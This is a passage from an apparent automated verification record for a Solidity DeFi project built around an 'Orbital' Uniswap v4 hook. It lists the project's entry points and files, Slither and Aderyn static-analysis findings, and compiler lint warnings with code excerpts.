tests)\n","passed":true},{"durationMs":58,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"OrbitalDepegCallback.depeg(address,address,int256,uint256)\",\"OrbitalDepegCallback.pay(uint256)\",\"OrbitalDepegCallback.receive()\",\"OrbitalDepegCallback.setRvmId(address)\",\"OrbitalDepegCallback.transferOwnership(address)\",\"OrbitalDepegCallback.withdraw(address,uint256)\",\"OrbitalDepegReactive.pay(uint256)\",\"OrbitalDepegReactive.react((uint256,address,uint256,uint256,uint256,uint256,bytes,uint256,uint256,uint256,uint256,uint256))\",\"OrbitalDepegReactive.receive()\",\"OrbitalDepegReactive.subscribe()\",\"OrbitalDepegReactive.unsubscribe()\",\"OrbitalDepegReactive.withdraw(address,uint256)\",\"OrbitalHook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"OrbitalHook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"OrbitalHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"OrbitalHook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"OrbitalHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"OrbitalHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"OrbitalHook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"OrbitalHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"OrbitalHook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"OrbitalHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"OrbitalHook.collectFees(uint256)\",\"OrbitalHook.deposit(uint256,uint256,uint256[])\",\"OrbitalHook.guardianPause()\",\"OrbitalHook.pause()\",\"OrbitalHook.setFee(uint24)\",\"OrbitalHook.setGuardian(address)\",\"OrbitalHook.transferOwnership(address)\",\"OrbitalHook.unlockCallback(bytes)\",\"OrbitalHook.unpause()\",\"OrbitalHook.withdraw(uint256,uint256,uint256[])\",\"OrbitalToken.approve(address,uint256)\",\"OrbitalToken.transfer(address,uint256)\",\"OrbitalToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":4,\"README.md\":295,\"foundry.toml\":23,\"remappings.txt\":3,\"script/DeployOrbital.s.sol\":98,\"src/HookFlags.sol\":37,\"src/OrbitalHook.sol\":862,\"src/OrbitalToken.sol\":63,\"src/base/BaseHook.sol\":210,\"src/libraries/OrbitalMath.sol\":226,\"src/reactive/IReactive.sol\":56,\"src/reactive/OrbitalDepegCallback.sol\":83,\"src/reactive/OrbitalDepegReactive.sol\":137,\"test/Deploy.t.sol\":61,\"test/OrbitalHook.t.sol\":558,\"test/OrbitalMath.t.sol\":141,\"test/OrbitalToken.t.sol\":57,\"test/Reactive.t.sol\":271,\"test/mocks/MockERC20.sol\":56,\"test/mocks/MockERC20Decimals.sol\":51,\"test/utils/OrbitalFixture.sol\":206},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":2463,"exitCode":0,"name":"slither","output":"[medium/medium] divide-before-multiply at src/OrbitalHook.sol:785: OrbitalHook._toPlane(OrbitalHook.Level,OrbitalMath.Pair,OrbitalMath.Consolidated) (src/OrbitalHook.sol#785-795) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/OrbitalHook.sol:680: OrbitalHook._tokenShare(OrbitalHook.Level,OrbitalMath.Consolidated,uint256,uint256,uint256,bool,uint256) (src/OrbitalHook.sol#680-703) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/OrbitalHook.sol:296: OrbitalHook._execute(address,uint8,uint8,bool,uint256) (src/OrbitalHook.sol#296-328) performs a multiplication on the result of a division:\n[medium/medium] reentrancy-no-eth at src/OrbitalHook.sol:335: Reentrancy in OrbitalHook.deposit(uint256,uint256,uint256[]) (src/OrbitalHook.sol#335-371):\n[medium/medium] reentrancy-no-eth at src/OrbitalHook.sol:375: Reentrancy in OrbitalHook.withdraw(uint256,uint256,uint256[]) (src/OrbitalHook.sol#375-411):\n[medium/medium] uninitialized-local at src/OrbitalHook.sol:423: OrbitalHook._settleFees(uint256,address).any (src/OrbitalHook.sol#423) is a local variable never initialized\n[medium/medium] unused-return at src/OrbitalHook.sol:420: OrbitalHook._settleFees(uint256,address) (src/OrbitalHook.sol#420-438) ignores return value by poolManager.unlock(abi.encode(CallbackData({action:Action.Withdraw,account:lp,amounts:amounts}))) (src/OrbitalHook.sol#435)\n[medium/medium] unused-return at src/OrbitalHook.sol:441: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#441-458) ignores return value by poolManager.settle() (src/OrbitalHook.sol#450)\n[medium/medium] unused-return at src/OrbitalHook.sol:375: OrbitalHook.withdraw(uint256,uint256,uint256[]) (src/OrbitalHook.sol#375-411) ignores return value by poolManager.unlock(abi.encode(CallbackData({action:Action.Withdraw,account:msg.sender,amounts:amounts}))) (src/OrbitalHook.sol#409)\n[medium/medium] unused-return at src/OrbitalHook.sol:335: OrbitalHook.deposit(uint256,uint256,uint256[]) (src/OrbitalHook.sol#335-371) ignores return value by poolManager.unlock(abi.encode(CallbackData({action:Action.Deposit,account:msg.sender,amounts:amounts}))) (src/OrbitalHook.sol#369)\n[low/medium] missing-zero-check at src/OrbitalHook.sol:167: OrbitalHook.constructor(IPoolManager,address,address,address[],uint8[],uint256[],uint24)._guardian (src/OrbitalHook.sol#167) lacks a zero-check on :\n[low/medium] missing-zero-check at src/OrbitalHook.sol:484: OrbitalHook.setGuardian(address)._guardian (src/OrbitalHook.sol#484) lacks a zero-check on :\n[low/medium] missing-zero-check at src/reactive/OrbitalDepegCallback.sol:40: OrbitalDepegCallback.constructor(address,address,address,address)._rvmId (src/reactive/OrbitalDepegCallback.sol#40) lacks a zero-check on :\n[low/medium] missing-zero-check at src/reactive/OrbitalDepegCallback.sol:77: OrbitalDepegCallback.withdraw(address,uint256).to (src/reactive/OrbitalDepegCallback.sol#77) lacks a zero-check on :\n[low/medium] missing-zero-check at src/reactive/OrbitalDepegReactive.sol:131: OrbitalDepegReactive.withdraw(address,uint256).to (src/reactive/OrbitalDepegReactive.sol#131) lacks a zero-check on :\n[low/medium] missing-zero-check at src/reactive/OrbitalDepegCallback.sol:58: OrbitalDepegCallback.setRvmId(address)._rvmId (src/reactive/OrbitalDepegCallback.sol#58) lacks a zero-check on :\n[low/medium] calls-loop at src/OrbitalHook.sol:441: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#441-458) has external calls inside a loop: poolManager.mint(address(this),c.toId(),amount) (src/OrbitalHook.sol#451)\n[low/medium] calls-loop at src/OrbitalHook.sol:441: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#441-458) has external calls inside a loop: poolManager.take(c,data.account,amount) (src/OrbitalHook.sol#454)\n[low/medium] calls-loop at src/OrbitalHook.sol:441: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#441-458) has external calls inside a loop: poolManager.settle() (src/OrbitalHook.sol#450)\n[low/medium] calls-loop at src/OrbitalHook.sol:441: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#441-458) has external calls inside a loop: poolManager.burn(address(this),c.toId(),amount) (src/OrbitalHook.sol#453)\n[low/medium] calls-loop at src/OrbitalHook.sol:441: OrbitalHook.unlockCallback(bytes) (src/OrbitalHook.sol#441-458) has external calls inside a loop: poolManager.sync(c) (src/OrbitalHook.sol#448)\n[low/medium] calls-loop at src/OrbitalHook.sol:858: OrbitalHook._safeTransferFrom(address,address,address,uint256) (src/OrbitalHook.sol#858-861) has external calls inside a loop: (ok,ret) = token.call(abi.encodeWithSelector(0x23b872dd,from,to,amount)) (src/OrbitalHook.sol#859)\n[low/medium] reentrancy-events at src/reactive/OrbitalDepegCallback.sol:51: Reentrancy in OrbitalDepegCallback.depeg(address,address,int256,uint256) (src/reactive/OrbitalDepegCallback.sol#51-56):","passed":true},{"durationMs":487,"exitCode":0,"name":"aderyn","output":"[high] storage-array-memory-edit at src/OrbitalHook.sol:551: Storage Array Edited with Memory (3 places)\n[high] unsafe-casting at src/OrbitalHook.sol:289: Unsafe Casting of integers (2 places)\n[low] centralization-risk at src/OrbitalHook.sol:471: Centralization Risk (11 places)\n[low] costly-loop at src/OrbitalHook.sol:351: Costly operations inside loop (4 places)\n[low] division-before-multiplication at src/OrbitalHook.sol:694: Incorrect Order of Division and Multiplication\n[low] internal-function-used-once at src/HookFlags.sol:29: Internal Function Used Only Once (4 places)\n[low] large-numeric-literal at src/OrbitalHook.sol:38: Large Numeric Literal (5 places)\n[low] literal-instead-of-constant at src/OrbitalHook.sol:190: Literal Instead of Constant (22 places)\n[low] missing-inheritance at src/OrbitalToken.sol:9: Missing Inheritance\n[low] modifier-used-only-once at src/OrbitalHook.sol:142: Modifier Invoked Only Once\n[low] require-revert-in-loop at src/OrbitalHook.sol:351: Loop Contains `require`/`revert` (5 places)\n[low] state-no-address-check at src/OrbitalHook.sol:181: Address State Variable Set Without Checks (4 places)\n[low] state-variable-could-be-immutable at src/OrbitalHook.sol:79: State Variable Could Be Immutable (2 places)\n[low] storage-array-length-not-cached at src/OrbitalHook.sol:852: Storage Array Length not Cached\n[low] unchecked-return at src/OrbitalHook.sol:360: Unchecked Return (6 places)","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"e0a9fc6adcc922d97956974d767419969f089b3f0caac8e738aa1661132dee85","verifiedTreeHash":"dea9f50b51ab47a284f7ee99005faad478733baa","verifierVersion":"0.1.0+4698ca99"},{"checks":[{"durationMs":5673,"exitCode":0,"name":"build","output":"Compiling 92 files with Solc 0.8.26\nSolc 0.8.26 finished in 5.33s\nCompiler run successful!\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:492:43\n    │\n492 │         if (radius == 0) return (amounts, false);\n    │                                           ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:758:42\n    │\n758 │             return (_equalPoint(radius), false);\n    │                                          ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:771:85\n    │\n771 │         if (boundary) return (_circlePoint(lv[l].kNorm, lv[l].sNorm, s, w, radius), true);\n    │                                                                                     ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:777:79\n    │\n777 │             return (_circlePoint(lv[top].kNorm, lv[top].sNorm, s, w, radius), false);\n    │                                                                               ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:779:60\n    │\n779 │         return (_interiorPoint(c, s, w, radius, incoming), false);\n    │                                                            ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:986:56\n    │\n986 │             if (int256(lv[l].kNorm) <= aAfter) return (true, l); // ascending in kNorm\n    │                                                        ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/reactive/OrbitalDepegReactive.sol:93:39\n   │\n93 │         int256 tolerance = pegPrice * int256(bandBps) / 10_000;\n   │                                       ━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'int256' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:106:24\n    │\n106 │         int256 price = int256(log.topic_1);\n    │                        ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:150:9\n    │\n150 │         emit FeedUpdated(old, newFeed);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:171:23\n    │\n171 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:98:9\n   │\n98 │         owner = newOwner;\n   │         ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:53:56\n   │\n53 │     constructor(address _callbackProxy, address _hook, address _rvmId) payable {\n   │                                                        ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:79:9\n   │\n79 │         emit DepegPauseTriggered(feed, price, roundId);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:90:23\n   │\n90 │     function setRvmId(address _rvmId) external onlyOwner {\n   │                       ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n    ╭▸ src/OrbitalHook.sol:577:9\n    │\n577 │         owner = newOwner;\n    │         ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegCallback.sol:109:23\n    │\n109 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:227:28\n    │\n227 │         if (b < 0) return (false, 0, 0);\n    │                            ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:233:69\n    │\n233 │             if (-disc > sumAB * sumAB / int256(WAD) + 1e20) return (false, 0, 0);\n    │                                                                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:239:36\n    │\n239 │         if (chosen < tMin) return (false, 0, 0);\n    │                                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:240:17\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                 ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:20\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:49\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:64\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:138:20\n    │\n138 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:138:45\n    │\n138 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                                             ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:139:32\n    │\n139 │         return a * a + b * b - int256(c.r * c.r);\n    │                                ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:17\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:46\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:62\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                              ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:76\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                                            ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:200:29\n    │\n200 │             if (hi > maxIn) revert InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:25\n    │\n224 │         int256 cShift = int256(sT) - int256(p.s);\n    │                         ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:38\n    │\n224 │         int256 cShift = int256(sT) - int256(p.s);\n    │                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:225:20\n    │\n225 │         int256 a = int256(p.xi);\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:226:20\n    │\n226 │         int256 b = int256(p.xj) + cShift;\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:228:21\n    │\n228 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                     ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:228:34\n    │\n228 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:233:41\n    │\n233 │             if (-disc > sumAB * sumAB / int256(WAD) + 1e20) return (false, 0, 0);\n    │                                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:236:23\n    │\n236 │         int256 root = int256(sqrt(uint256(disc)));\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:236:35\n    │\n236 │         int256 root = int256(sqrt(uint256(disc)));\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:240:23\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                       ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:240:40\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                                        ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:180:9\n    │\n180 │         address _guardian,\n    │         ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:201:56\n    │\n201 │             if (t == address(0) || tokenIndex[t] != 0) revert InvalidTokens();\n    │                                                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:203:27\n    │\n203 │             if (dec > 18) revert InvalidTokens();\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:216:53\n    │\n216 │             if (k <= kMin || k > kMax || k <= prev) revert InvalidLevels();\n    │                                                     ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:104:32\n    │\n104 │         if (kNorm >= sqrtNWad) revert MathOverflow();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:107:23\n    │\n107 │         if (d2 > WAD) revert MathOverflow();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:260:56\n    │\n260 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                        ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ 